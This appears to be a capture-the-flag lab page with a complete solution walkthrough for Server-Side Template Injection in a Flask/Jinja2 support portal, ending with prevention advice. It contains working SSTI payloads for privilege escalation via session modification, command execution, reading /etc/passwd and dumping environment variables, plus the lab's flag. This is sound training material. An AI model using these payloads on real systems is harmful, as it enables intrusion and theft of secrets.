Avatar

Labs / Template Injection

  • Daily Challenge
  • Released 14 Aug 2025

🔧 Can you exploit the template engine to gain admin access?

⚡ Master Server-Side Template Injection techniques and payload construction
🎯 Learn to identify and exploit SSTI vulnerabilities in web applications
💀 Over 60% of template-based applications contain exploitable injection flaws
🚀 Develop critical skills for modern web application penetration testing

1
Flags
1
Points
Daily Challenge
Pro Exclusive
Start Lab Environment
~1-2 min setup
AWS dedicated
Private instance
Industry standard
Daily Challenge

Template Injection - Complete Solution Walkthrough

Understanding Server-Side Template Injection

Server-Side Template Injection (SSTI) occurs when user input is embedded into template engines without proper sanitization. Template engines like Jinja2 (Python), Twig (PHP), and Handlebars (JavaScript) use special syntax to process dynamic content. When attackers can control template content, they can inject malicious template directives to execute arbitrary code, access system information, and escalate privileges.

Step 1: Initial Reconnaissance and Login

  1. Access the application: Navigate to to view the TechCorp Support Portal
  2. Examine the application: The application requires authentication to access template generation features
  3. Use demo credentials: Log in using the provided demo account
Username: customer
Password: customer123
  1. Explore features: After login, you can access the support ticket submission functionality
  2. Initial testing: Try creating a basic template to understand the application flow

Step 2: Identifying the SSTI Vulnerability

Template Syntax Recognition

  1. Observe template hints: The application mentions template variables like {{customer_name}}
  2. Test basic template syntax: Try entering template expressions in the 'Issue Description' field when submitting a support ticket
# Test basic mathematical expression
Subject: System Bug Report
Priority: Medium
Issue Description: Hello! 2+2 = {{2+2}}
  1. Analyze response: If the template engine processes the expression, you'll see '4' in the output
  2. Confirm SSTI: Successful mathematical evaluation indicates template injection vulnerability
SSTI Confirmed: Template expressions are being processed by the server

Step 3: Template Engine Identification (Jinja2)

Fingerprinting the Template Engine

  1. Test Jinja2 specific syntax: Try Jinja2-specific template features
# Test Jinja2 string methods
Custom Message: {{ 'hello'.upper() }}
  1. Test config access: Try accessing Flask configuration
# Test Flask config access
Custom Message: {{ config }}
  1. Confirmed Jinja2: These tests confirm we're dealing with Flask/Jinja2 template engine

Step 4: Advanced SSTI Exploitation

Method 1: Direct Object Access

  1. Access application context: Try accessing Flask application globals
# Access Flask globals
Custom Message: {{ url_for.__globals__ }}

Method 2: Session Manipulation

  1. Access session object: Try manipulating the Flask session
# View current session
Custom Message: {{ session }}

# Attempt session modification
Custom Message: {{ session.update({'username': 'admin'}) or 'Session updated' }}

Method 3: Direct Admin Access Payload

  1. Session hijacking payload: Use template injection to modify session data
# Payload to become admin user
{% set _ = session.update({'username': 'admin'}) %}
Welcome to the admin panel! Click here to access admin features
  1. Execute the payload: Enter this payload in the Custom Message field and generate the template
  2. Follow the admin link: Click the generated link to access the admin panel with elevated privileges

Step 5: Alternative Attack Vectors

Command Execution via subprocess

  1. Import os module: Access system commands through Python imports
# Command execution payload
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}

File System Access

  1. Read system files: Access sensitive files on the server
# Read file payload
{{ self.__init__.__globals__.__builtins__.open('/etc/passwd').read() }}

Environment Variable Access

  1. Access environment variables: Extract sensitive configuration data
# Environment variables
{{ self.__init__.__globals__.__builtins__.__import__('os').environ }}

Step 6: Capturing the Flag

  1. Use session modification payload: Execute the admin session modification payload from Step 4
  2. Access admin panel: Navigate to /admin endpoint or follow the generated link
  3. Retrieve the flag: The admin panel displays the flag for successful SSTI exploitation
Flag Retrieved: f6341f0c-479a-4e96-92be-83ec3883cfb9
  1. Alternative access: If direct session modification doesn't work, try the file system or command execution methods to locate the flag

SSTI Payload Reference

Basic Detection Payloads

  • {{7*7}} - Basic math test
  • {{"hello".upper()}} - String method test
  • {{config}} - Flask config access
  • {{request}} - Request object access

Exploitation Payloads

  • {% set _ = session.update({'username': 'admin'}) %} - Session modification
  • {{url_for.__globals__['__builtins__']}} - Builtins access
  • {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}} - Command execution
  • {{config.__class__.__init__.__globals__['os'].environ}} - Environment access

Defense and Mitigation

Why This Attack Succeeded

  • Direct template rendering: User input was passed directly to render_template_string()
  • No input sanitization: Template syntax characters were not escaped or filtered
  • Privileged template context: Templates had access to Flask globals and session objects

Prevention Strategies

  • Input sanitization: Escape template syntax characters in user input
  • Sandboxed templates: Use restricted template environments with limited function access
  • Template validation: Validate template syntax before processing
  • Content Security Policy: Implement CSP headers to limit template execution scope
  • Least privilege: Limit template context to only necessary objects and functions

Real-World Applications

  • Web application security: Testing template engines in web applications for SSTI vulnerabilities
  • Penetration testing: Identifying and exploiting template injection in client environments
  • Code review: Auditing applications that use template engines for security flaws
  • DevSecOps: Implementing secure coding practices for template-based applications
  • Bug bounty hunting: Finding SSTI vulnerabilities in public applications and services

Challenge Summary

This Template Injection challenge demonstrates the serious security risks posed by Server-Side Template Injection vulnerabilities. By exploiting the unsafe use of template engines, attackers can execute arbitrary code, access sensitive information, and escalate privileges within web applications. The challenge emphasizes the importance of proper input validation, template sandboxing, and secure coding practices when implementing dynamic template functionality in web applications.